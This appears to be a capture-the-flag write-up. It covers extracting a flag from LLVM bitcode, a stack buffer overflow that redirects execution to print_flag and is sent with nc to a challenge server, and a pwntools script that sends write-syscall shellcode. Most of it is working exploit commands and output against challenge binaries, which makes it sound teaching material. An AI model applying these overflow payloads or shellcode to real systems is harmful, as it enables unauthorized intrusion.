RE- Nothin But Stringz

```
┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ file nothin_but_stringz.c.o
nothin_but_stringz.c.o: LLVM bitcode, wrapper

┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ llvm-dis nothin_but_stringz.c.o -o output.ll

┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ strings output.ll | grep flag
@.str = private unnamed_addr constant [40 x i8]
c"flag{al1_th3_h0miez_l0v3_llvm_643e5f4a}\00", align 1
@flag = global ptr @.str, align 8
@.str.1 = private unnamed_addr constant [25 x i8] c"The flag begins with %c\0A\00", align 1
  %2 = load ptr, ptr @flag, align 8
!llvm.module.flags = !{!0, !1, !2, !3, !4}
```

Pwn – echo

```
┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ gdb echo-app
pwndbg> info function
All defined functions:

Non-debugging symbols:
...
0x0000000000401176  print_flag
0x000000000040119f  do_echo
0x0000000000401311  main
0x0000000000401338  _fini
pwndbg> p print_flag
$1 = {<text variable, no debug info>} 0x401176 <print_flag>
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaa
aajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaa
aaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba
aaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaab
kaaaaaablaaaaaabmaaa
pwndbg> run
Starting program: /mnt/c/Users/hzqzz/Downloads/echo-app
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ECHO! Echo! echo!
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaa
aajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaa
```

```
aaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba
aaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaab
kaaaaaablaaaaaabmaaa
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaa
aajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaa
aaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba
aaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaab
kaaaaaablaaaaaabmaaa
00:0000 rsp 0x7fffffffde28 ◂— 'iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa'
01:0008   0x7fffffffde30 ◂— 'jaaaaaabkaaaaaablaaaaaabmaaa'
02:0010   0x7fffffffde38 ◂— 'kaaaaaablaaaaaabmaaa'
03:0018   0x7fffffffde40 ◂— 'laaaaaabmaaa'
04:0020   0x7fffffffde48 ◂— 0x6161616d /* 'maaa' */

pwndbg> cyclic -l iaaaaaab
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264
pwndbg> quit

┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ python2 -c 'print "A" * 264 + "\x76\x11\x40\x00\x00\x00\x00\x00"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAv@

┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ python2 -c 'print "A" * 264 + "\x76\x11\x40\x00\x00\x00\x00\x00"' > payload

┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ nc 54.85.45.101 8008 < payload
ECHO! Echo! echo!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAv@
flag{curs3d_are_y0ur_eyes_for_they_see_the_fl4g}
^^ Flag!!111!!!! ^^
```

Pwn – Only Ws

```
from pwn import *
```

```
# Connect to the remote service
p = remote('54.85.45.101', 8005)
context.arch = 'amd64'

# Correct assembly code (remove comments and use precise syntax)
shellcode = asm('''
   mov rax, 1        # Syscall number for write
   mov rdi, 1        # File descriptor for stdout
   mov rsi, 0x4040a0   # Address of the flag buffer
   mov rdx, 64       # Number of bytes to write
   syscall           # Make the syscall
''')

# Send the shellcode
p.send(shellcode)

# Receive and print the output (expected to be the flag)
print(p.recvall())
```

```
┌──(zeqzoq㉿DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ python3 exploit.py
[+] Opening connection to 54.85.45.101 on port 8005: Done
[+] Receiving all data: Done (84B)
[*] Closed connection to 54.85.45.101 port 8005
b'Flag is at
0x4040a0\nflag{kinda_like_orw_but_only_ws}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
```